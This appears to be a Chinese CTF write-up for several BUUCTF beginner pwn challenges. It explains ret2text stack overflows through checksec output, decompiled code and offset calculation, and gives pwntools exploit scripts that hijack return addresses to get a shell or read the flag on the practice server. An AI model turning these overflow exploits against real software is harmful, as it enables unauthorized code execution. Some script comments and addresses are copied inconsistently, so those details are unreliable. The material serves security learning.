buuctf
栈溢出
rip
ret2text
,返回到代码中本来就有的恶意函数
拿到附件后,首先进程checksec
- RELRO:RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表
- Stack:如果栈中开启Canary found,金丝雀值,在栈返回的地址前面加入一段固定数据,栈返回时会检查该数据是否改变。那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过
- NX:NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,以前的经常用的call esp或者jmp esp的方法就不能使用,但是可以利用rop这种方法绕过
- PIE:PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化,而如果没有开PIE的话那么No PIE (0x400000),括号内的数据就是程序的基地址
用64位IDA打开,主函数代码如下:
其对应的C代码如下
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+1h] [rbp-Fh]
puts("please input");
gets(&s, argv);
puts(&s);
puts("ok,bye!!!");
return 0;
}
漏洞很明显,gets
函数可以无限读入字符串,没有开canary
可以自由栈溢出,双击s变量,进入main函数的栈区,可以看到输入的参数s距离main函数的返回地址 r有 0xf + 8个字节,我们需要覆盖这些地址,位于000000000处的s是存上一个ebp的值,用于恢复上一个函数,位于0000000008处的r是这个函数的返回地址,因此只需要覆盖返回地址 r,使它变成我们想要的函数地址,就可以劫持程序,让程序执行完main就执行我们想要的函数。
接下来找我们要执行的函数,由于题目比较简单,我们可以找到func
函数内调用了system函数,因此我们可以使上面的ret
指令的返回地址为该函数的地址,从而达到任意命令执行的效果。为什么要ret
到0x40118A
处呢,
retn指令 call后要返回 相当于pop eip,esp会加4 ret 8 --两条指令,一个retn,一个esp+8
int fun()
{
return system("/bin/sh");
}
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import * #调用pwntools库
r = remote('node4.buuoj.cn',27563)
# r = process('./pwn1') # 调试时使用本地链接
# 解释一下0xf + 8,0xf是变量s距离rbp,的距离,8是用来覆盖rbp的(64位下为8字节) ebp下面就是调用者函数的返回地址
p1 = b'a' * (0xf + 8) + p64(0x040118A) # 注意这个地址是 func函数内 lea rdi,command 的地址 python3中这个b不能省
# 用 'a' 覆盖到ret指令之前,刚好0xf+8个字节,之后是ret指令, 将0x0401186进行64位的打包(小端序),覆盖ret指令处的返回地址,该地址是调用system()函数的位置
r.sendline(p1) # 发送数据,相当于传入 get(s) 的参数s
r.interactive() # 开启shell交互
warmup_csaw_2016
首先利用checksec
查看保护措施,
IDA打开后,先搜索字符串,发现可疑字段,ctrl + x
看哪个函数使用了这个字符串
接着查看main
函数代码如下
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s; // [rsp+0h] [rbp-80h]
char v5; // [rsp+40h] [rbp-40h] 可以得到栈空间为 0x80
write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(&s, "%p\n", sub_40060D);
write(1, &s, 9uLL);
write(1, ">", 1uLL);
return gets(&v5, ">");
}
查看一下v5
的地址,如上面所写,位于rsp + 40h
的地方,因此只要我们输入的字符串长度=0x40+8(64位ebp的长度)即可溢出到返回地址。返回地址就是之前的system("cat flag.txt")
即0x40060D
这里发现一个问题,我将返回地址设置为上面函数的起始地址即0x40060D
和函数内压完栈后的地址0x400611
均是成立的,因为我们只需要调用system("cat flag.txt")
,上面的压栈和保存ebp
的操作对我们读取flag时没影响的。
攻击脚本如下
from pwn import * #调用pwntools库
r = remote('node4.buuoj.cn',28540)
# r = process('./pwn1') # 调试时使用本地链接
# 解释一下0xf + 8,0xf是变量s距离rbp,的距离,8是用来覆盖rbp的(64位下为8字节)
p1 = b'a' * (0x40 + 8) + p64(0x0400616) # 注意这个地址是 func函数内 lea rdi,command 的地址 python3中这个b不能省
# 用 'a' 覆盖到ret指令之前,刚好0xf+8个字节,之后是ret指令, 将0x0401186进行64位的打包(小端序),覆盖ret指令处的返回地址,该地址是调用system()函数的位置
r.sendline(p1) # 发送数据,相当于传入 get(s) 的参数s
r.interactive() # 开启shell交互
执行后即可获取flag
ciscn_2019_n_1
首先查看elf
文件的保护措施
使用IDA打开,进行静态分析,找到与flag
相关的字符串,ctrl + x
查看交叉引用,进入到这个函数
int func()
{
int result; // eax
char v1; // [rsp+0h] [rbp-30h]
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(&v1);
if ( v2 == 11.28125 )
result = system("cat /flag");
else
result = puts("Its value should be 11.28125");
return result;
}
// 在main函数中调用了 func
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
func();
return 0;
}
解法一:根据提示正确猜测变量v2的值,并通过栈溢出覆盖v2的值
由上面分析可知,gets
函数读取我们的输入到v1这个变量,这里发现IDA一个小技巧,在汇编代码下选中一个值,tab
键切换到源代码后光标会停留在该值对应的C语言的变量上,xmm0
对应的就是变量v2,是一个浮点数,下面是让我们猜数字,猜测v2的值即可。
pxor
指令,源存储器128个二进制位'异或'目的寄存器128个二进制位,结果送入目的寄存器,内存变量必须对齐内存16字节。
ucomiss
指令会根据两个比较操作数的数值得到对应的四种不同的结果,对于每一种结果,OF、AF、SF 这三个标志位都会被清零,而 ZF、CF、PF 这三个标志位会根据比较结果的不同而有所不同。具体如下面的表格
比较结果 | 描述 | ZF | PF | CF |
---|---|---|---|---|
UNORDERED | 当任一一个操作数为NaN时(包括QNaN和SNaN) | 1 | 1 | 1 |
大于 | 当第一个操作数大于第二个操作数时 | 0 | 0 | 0 |
小于 | 当第一个操作数小于第二个操作数时 | 0 | 0 | 1 |
等于 | 当第一个操作数相等于第二个操作数时 | 1 | 0 | 0 |
再往下看,当我们调用gets()
函数读取输入v1后,这题逻辑就是输入v1,但判断v2的值是否是11.28125,有上面的代码也可以看出,v1变量的地址为rbp - 60h
,v2变量的地址为rbp - 4h
因此,覆盖0x30-0x4=44个字节给v1,另外4个字节给v2即可覆盖v2的值,那么v2的值应该是什么呢,下面就给出了它的浮点数为11.28125,需要转化为16进制字节码传输,下面jp
是当标志位PF为1(1的个数为偶数)时跳转,ucomiss
是浮点数比较指令,如果v2的值等于设定的值,那么第一次比较PF
标志位为0,jp
指令不会执行,第二次比较ZF
标志位为1,也不会执行jnz
指令,所以就执行到了system("cat /flag")
,查看该地址的内容如下,猜测该地址所存储的数应该就是v2应该的值,即11.28125的16进制表示 0x41348000
之后就简单了,编写exp脚本如下
from pwn import *
r = remote('node4.buuoj.cn',25831)
p1 = b'a' * (0x30 - 0x4) + p64(0x41348000)
r.sendline(p1)
r.interactive()
攻击结果如下:
解法二:直接跳过判断,覆盖返回地址为system("cat /flag"),注意还需要覆盖rbp
只有构造的payload有区别,这时垃圾数据显然就需要变多了,需要覆盖的长度为0x30 + 0x8
还需要找到system
函数的地址,即0x4006BE
脚本如下,此解法的思路与上面两道题目完全相同
from pwn import *
r = remote('node4.buuoj.cn',25831)
p1 = b'a' * (0x30 + 0x8) + p64(0x4006BE)
r.sendline(p1)
r.interactive()
pwndbg
的插件cyclic
可以确定返回的栈偏移,即我们需要构造的填充字符的大小, cyclic 200
生成长度为200的随机字符串,然后run
,将生成的字符串输入,输入cyclc -l oaaa
,oaaa
为上面生成的字符串的前四个,存放在栈指针指向的位置,该命令可以返回需要覆盖的栈偏移量,但是注意cyclc -l xxxx
,后面必须是四个字节的参数
pwn1_sctf_2016
首先查看保护机制,可以看到开启了NX
保护,栈中地址不可执行,所以不能通过写shellcode
达到攻击目的
还是使用IDA
进行分析,32位IDA
打开,查看敏感字符串发现cat flag.txt
,ctrl + x
查看交叉引用
进入main
函数,其代码如下
int __cdecl main(int argc, const char **argv, const char **envp)
{
vuln();
return 0;
}
int vuln()
{
int v0; // ST08_4
int v1; // ST04_4
int v2; // ST04_4
const char *v3; // eax
char s; // [esp+1Ch] [ebp-3Ch]
char v6; // [esp+3Ch] [ebp-1Ch]
char v7; // [esp+40h] [ebp-18h]
char v8; // [esp+47h] [ebp-11h]
char v9; // [esp+48h] [ebp-10h]
char v10; // [esp+4Fh] [ebp-9h]
printf("Tell me something about yourself: ");
fgets(&s, 32, edata); // 获取我们输入的地方 限制了读取32字节到s s的地址为 ebp - 0x3c 我们要覆盖返回地址显然需要覆盖 ebp,至少需要覆盖 0x3c 即 60个字节,那怎么办呢
std::string::operator=(&input, &s);
std::allocator<char>::allocator(&v8);
std::string::string(&v7, "you", &v8);
std::allocator<char>::allocator(&v10);
std::string::string(&v9, "I", &v10);
replace((std::string *)&v6, (std::string *)&input, (std::string *)&v9);
std::string::operator=(&input, &v6, v0);
std::string::~string((std::string *)&v6);
std::string::~string((std::string *)&v9);
std::allocator<char>::~allocator(&v10, v1);
std::string::~string((std::string *)&v7);
std::allocator<char>::~allocator(&v8, v2);
v3 = (const char *)std::string::c_str((std::string *)&input);
strcpy(&s, v3); // 将重组后的字符串 v3 赋值给s
return printf("So, %s\n", &s);
}
本题难度有些提升,因为fgets()
函数限制了输入的字节数为32字节以内,但我们如果想覆盖函数返回地址,需要覆盖至少60个字节的数据,怎么做到呢?看有没有别的函数可以利用,replace
函数会将 'I'替换为 'you',所以我们输入20个字节就可以达到覆盖60个字节栈地址的效果了。也可以通过gdb
输入I
查看是否替换为了you
。
那么返回地址覆盖成什么呢,查看system(cat flag.txt)
函数的地址0x8048f13
那么就可以编写exp
脚本了
from pwn import *
r = remote('node4.buuoj.cn',25253)
p1 = b'I'*20 + b'a'*4 + p64(0x8048f13) # 20个I用来覆盖栈空间 4个a用来覆盖ebp(32位程序,只需要4字节)
r.sendline(p1)
r.interactive()
jarvisoj_level0
IDA
打开
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h] buf的地址为rbp - 80
return read(0, &buf, 0x200uLL); // 可以看到 read 函数读取0x200个字节 0表示标准读入
}
之后又找到了我们可以覆盖的危险函数,地址为0x40059A
然后就可以开始编写脚本了
from pwn import *
r = remote('node4.buuoj.cn',29225)
# read 函数读取0x200 也就是512字节的数据
p1 = b'a' * 0x80 + b'a' * 8 + p64(0x40059a)
r.sendline(p1)
r.interactive()
ret2shellcode
,与ret2text
类似,不同的是程序本身没有像system这样调用shell的函数,所以我们需要在内存中自己找一块可执行的段(通常遇到的是.bss段),在这个段中写入自己的shellcode,然后根据题目再调用执行自己的shellcode,最终拿到shell。